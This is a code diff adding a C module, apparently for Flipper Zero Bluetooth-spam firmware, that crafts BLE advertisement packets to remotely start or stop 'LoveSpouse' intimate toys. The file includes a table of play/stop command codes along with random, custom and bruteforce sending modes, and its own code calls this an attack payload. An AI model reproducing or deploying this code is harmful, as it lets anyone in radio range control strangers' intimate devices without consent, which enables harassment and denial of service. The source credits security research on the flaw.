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@@ -0,0 +1,292 @@
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+#include "lovespouse.h"
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+#include "_protocols.h"
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+
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+// Hacked together by @Willy-JL
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+// Discovered by @mandomat
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+// Blog post at https://mandomat.github.io/2023-11-13-denial-of-pleasure/
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+
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+typedef struct {
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+ uint32_t value;
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+ const char* name;
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+} LovespouseMode;
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+
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+static const LovespouseMode plays[] = {
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+ {0xE49C6C, "Classic 1"}, {0xE7075E, "Classic 2"}, {0xE68E4F, "Classic 3"},
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+ {0xE1313B, "Classic 4"}, {0xE0B82A, "Classic 5"}, {0xE32318, "Classic 6"},
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+ {0xE2AA09, "Classic 7"}, {0xED5DF1, "Classic 8"}, {0xECD4E0, "Classic 9"},
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+ {0xD41F5D, "Independent 1-1"}, {0xD7846F, "Independent 1-2"}, {0xD60D7E, "Independent 1-3"},
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+ {0xD1B20A, "Independent 1-4"}, {0xD0B31B, "Independent 1-5"}, {0xD3A029, "Independent 1-6"},
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+ {0xD22938, "Independent 1-7"}, {0xDDDEC0, "Independent 1-8"}, {0xDC57D1, "Independent 1-9"},
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+ {0xA4982E, "Independent 2-1"}, {0xA7031C, "Independent 2-2"}, {0xA68A0D, "Independent 2-3"},
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+ {0xA13579, "Independent 2-4"}, {0xA0BC68, "Independent 2-5"}, {0xA3275A, "Independent 2-6"},
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+ {0xA2AE4B, "Independent 2-7"}, {0xAD59B3, "Independent 2-8"}, {0xACD0A2, "Independent 2-9"},
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+};
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+
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+static const LovespouseMode stops[] = {
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+ {0xE5157D, "Classic Stop"},
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+ {0xD5964C, "Independent 1 Stop"},
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+ {0xA5113F, "Independent 2 Stop"},
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+};
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+
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+static const struct {
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+ const LovespouseMode* modes;
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+ uint8_t count;
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+} modes[LovespouseStateCOUNT] = {
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+ [0] = {plays, COUNT_OF(plays)},
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+ [LovespouseStatePlay] = {plays, COUNT_OF(plays)},
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+ [LovespouseStateStop] = {stops, COUNT_OF(stops)},
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+};
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+
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+static const char* get_name(const Payload* payload) {
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+ UNUSED(payload);
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+ return "LoveSpouse";
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+}
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+
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+static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
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+ LovespouseCfg* cfg = payload ? &payload->cfg.lovespouse : NULL;
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+
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+ LovespouseState state;
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+ if(cfg && cfg->state != 0x00) {
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+ state = cfg->state;
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+ } else {
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+ const LovespouseState states[] = {
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+ LovespouseStatePlay,
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+ LovespouseStateStop,
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+ };
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+ state = states[rand() % COUNT_OF(states)];
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+ }
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+
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+ uint32_t mode;
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+ switch(cfg ? payload->mode : PayloadModeRandom) {
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+ case PayloadModeRandom:
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+ default:
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+ mode = modes[state].modes[rand() % modes[state].count].value;
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+ break;
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+ case PayloadModeValue:
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+ mode = cfg->mode;
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+ break;
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+ case PayloadModeBruteforce:
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+ mode = cfg->mode = payload->bruteforce.value;
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+ break;
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+ }
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+
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+ uint8_t size = 22;
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+ uint8_t* packet = malloc(size);
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+ uint8_t i = 0;
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+
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+ packet[i++] = 2; // Size
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+ packet[i++] = 0x01; // AD Type (Flags)
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+ packet[i++] = 0x1A; // Flags
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+
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+ packet[i++] = 14; // Size
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+ packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
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+ packet[i++] = 0xFF; // Company ID (Typo Products, LLC)
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+ packet[i++] = 0x00; // ...
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+ packet[i++] = 0x6D;
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+ packet[i++] = 0xB6;
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+ packet[i++] = 0x43;
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+ packet[i++] = 0xCE;
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+ packet[i++] = 0x97;
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+ packet[i++] = 0xFE;
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+ packet[i++] = 0x42;
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+ packet[i++] = 0x7C;
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+ packet[i++] = (mode >> 0x10) & 0xFF;
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+ packet[i++] = (mode >> 0x08) & 0xFF;
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+ packet[i++] = (mode >> 0x00) & 0xFF;
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+
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+ packet[i++] = 3; // Size
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+ packet[i++] = 0x03; // AD Type (Service UUID List)
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+ packet[i++] = 0x8F; // Service UUID (Unregistered)
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+ packet[i++] = 0xAE; // ...
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+
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+ *_size = size;
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+ *_packet = packet;
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+}
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+
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+enum {
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+ _ConfigExtraStart = ConfigExtraStart,
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+ ConfigMode,
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+ ConfigCOUNT,
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+};
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+static void config_callback(void* _ctx, uint32_t index) {
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+ Ctx* ctx = _ctx;
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+ scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
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+ switch(index) {
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+ case ConfigMode:
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+ scene_manager_next_scene(ctx->scene_manager, SceneLovespouseMode);
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+ break;
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+ default:
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+ ctx->fallback_config_enter(ctx, index);
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+ break;
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+ }
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+}
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+static void mode_changed(VariableItem* item) {
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+ Payload* payload = variable_item_get_context(item);
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+ LovespouseCfg* cfg = &payload->cfg.lovespouse;
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+ uint8_t index = variable_item_get_current_value_index(item);
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+ if(index) {
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+ index--;
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+ payload->mode = PayloadModeValue;
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+ cfg->mode = modes[cfg->state].modes[index].value;
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+ variable_item_set_current_value_text(item, modes[cfg->state].modes[index].name);
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+ } else {
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+ payload->mode = PayloadModeRandom;
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+ variable_item_set_current_value_text(item, "Random");
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+ }
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+}
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+static void extra_config(Ctx* ctx) {
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+ Payload* payload = &ctx->attack->payload;
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+ LovespouseCfg* cfg = &payload->cfg.lovespouse;
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+ VariableItemList* list = ctx->variable_item_list;
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+ VariableItem* item;
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+ uint8_t value_index;
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+
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+ item = variable_item_list_add(
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+ list, "Toy Mode", modes[cfg->state].count + 1, mode_changed, payload);
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+ const char* mode_name = NULL;
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+ char mode_name_buf[9];
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+ switch(payload->mode) {
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+ case PayloadModeRandom:
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+ default:
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+ mode_name = "Random";
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+ value_index = 0;
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+ break;
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+ case PayloadModeValue:
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+ for(uint8_t i = 0; i < modes[cfg->state].count; i++) {
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+ if(cfg->mode == modes[cfg->state].modes[i].value) {
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+ mode_name = modes[cfg->state].modes[i].name;
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+ value_index = i + 1;
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+ break;
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+ }
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+ }
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+ if(!mode_name) {
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+ snprintf(mode_name_buf, sizeof(mode_name_buf), "%06lX", cfg->mode);
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+ mode_name = mode_name_buf;
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+ value_index = modes[cfg->state].count + 1;
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+ }
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+ break;
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+ case PayloadModeBruteforce:
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+ mode_name = "Bruteforce";
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+ value_index = modes[cfg->state].count + 1;
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+ break;
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+ }
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+ variable_item_set_current_value_index(item, value_index);
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+ variable_item_set_current_value_text(item, mode_name);
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+
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+ variable_item_list_set_enter_callback(list, config_callback, ctx);
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+}
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+
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+static uint8_t config_count(const Payload* payload) {
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+ UNUSED(payload);
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+ return ConfigCOUNT - ConfigExtraStart - 1;
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+}
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+
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+const Protocol protocol_lovespouse = {
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+ .icon = &I_heart,
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+ .get_name = get_name,
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+ .make_packet = make_packet,
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+ .extra_config = extra_config,
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+ .config_count = config_count,
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+};
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+
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+static void mode_callback(void* _ctx, uint32_t index) {
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+ Ctx* ctx = _ctx;
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+ Payload* payload = &ctx->attack->payload;
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+ LovespouseCfg* cfg = &payload->cfg.lovespouse;
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+ if(index == 0) {
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+ payload->mode = PayloadModeRandom;
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+ scene_manager_previous_scene(ctx->scene_manager);
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+ } else if(index == modes[cfg->state].count + 1U) {
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+ scene_manager_next_scene(ctx->scene_manager, SceneLovespouseModeCustom);
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+ } else if(modes[cfg->state].count + 2U) {
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+ payload->mode = PayloadModeBruteforce;
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+ payload->bruteforce.counter = 0;
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+ payload->bruteforce.value = cfg->mode;
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+ payload->bruteforce.size = 3;
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+ scene_manager_previous_scene(ctx->scene_manager);
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+ } else {
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+ payload->mode = PayloadModeValue;
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+ cfg->mode = modes[cfg->state].modes[index - 1].value;
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+ scene_manager_previous_scene(ctx->scene_manager);
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+ }
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+}
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+void scene_lovespouse_mode_on_enter(void* _ctx) {
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+ Ctx* ctx = _ctx;
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+ Payload* payload = &ctx->attack->payload;
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+ LovespouseCfg* cfg = &payload->cfg.lovespouse;
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+ Submenu* submenu = ctx->submenu;
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+ uint32_t selected = 0;
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+
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+ submenu_add_item(submenu, "Random", 0, mode_callback, ctx);
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+ if(payload->mode == PayloadModeRandom) {
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+ selected = 0;
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+ }
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+
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+ bool found = false;
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+ for(uint8_t i = 0; i < modes[cfg->state].count; i++) {
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+ submenu_add_item(submenu, modes[cfg->state].modes[i].name, i + 1, mode_callback, ctx);
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+ if(!found && payload->mode == PayloadModeValue &&
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+ cfg->mode == modes[cfg->state].modes[i].value) {
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+ found = true;
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+ selected = i + 1;
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+ }
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+ }
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+ submenu_add_item(submenu, "Custom", modes[cfg->state].count + 1, mode_callback, ctx);
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+ if(!found && payload->mode == PayloadModeValue) {
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+ selected = modes[cfg->state].count + 1;
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+ }
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+
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+ submenu_add_item(submenu, "Bruteforce", modes[cfg->state].count + 2, mode_callback, ctx);
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+ if(payload->mode == PayloadModeBruteforce) {
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+ selected = modes[cfg->state].count + 2;
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+ }
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+
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+ submenu_set_selected_item(submenu, selected);
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+
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+ view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
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+}
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+bool scene_lovespouse_mode_on_event(void* _ctx, SceneManagerEvent event) {
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+ UNUSED(_ctx);
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+ UNUSED(event);
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+ return false;
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+}
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+void scene_lovespouse_mode_on_exit(void* _ctx) {
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+ Ctx* ctx = _ctx;
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+ submenu_reset(ctx->submenu);
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+}
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+
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+static void mode_custom_callback(void* _ctx) {
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+ Ctx* ctx = _ctx;
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+ Payload* payload = &ctx->attack->payload;
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+ LovespouseCfg* cfg = &payload->cfg.lovespouse;
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+ payload->mode = PayloadModeValue;
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+ cfg->mode =
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+ (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
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+ scene_manager_previous_scene(ctx->scene_manager);
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+ scene_manager_previous_scene(ctx->scene_manager);
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+}
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+void scene_lovespouse_mode_custom_on_enter(void* _ctx) {
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+ Ctx* ctx = _ctx;
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+ Payload* payload = &ctx->attack->payload;
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+ LovespouseCfg* cfg = &payload->cfg.lovespouse;
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+ ByteInput* byte_input = ctx->byte_input;
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+
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+ byte_input_set_header_text(byte_input, "Enter custom Toy Mode");
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+
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+ ctx->byte_store[0] = (cfg->mode >> 0x10) & 0xFF;
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+ ctx->byte_store[1] = (cfg->mode >> 0x08) & 0xFF;
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+ ctx->byte_store[2] = (cfg->mode >> 0x00) & 0xFF;
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+
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+ byte_input_set_result_callback(
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+ byte_input, mode_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
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+
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+ view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
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+}
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+bool scene_lovespouse_mode_custom_on_event(void* _ctx, SceneManagerEvent event) {
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+ UNUSED(_ctx);
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+ UNUSED(event);
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+ return false;
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+}
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+void scene_lovespouse_mode_custom_on_exit(void* _ctx) {
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+ UNUSED(_ctx);
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+}
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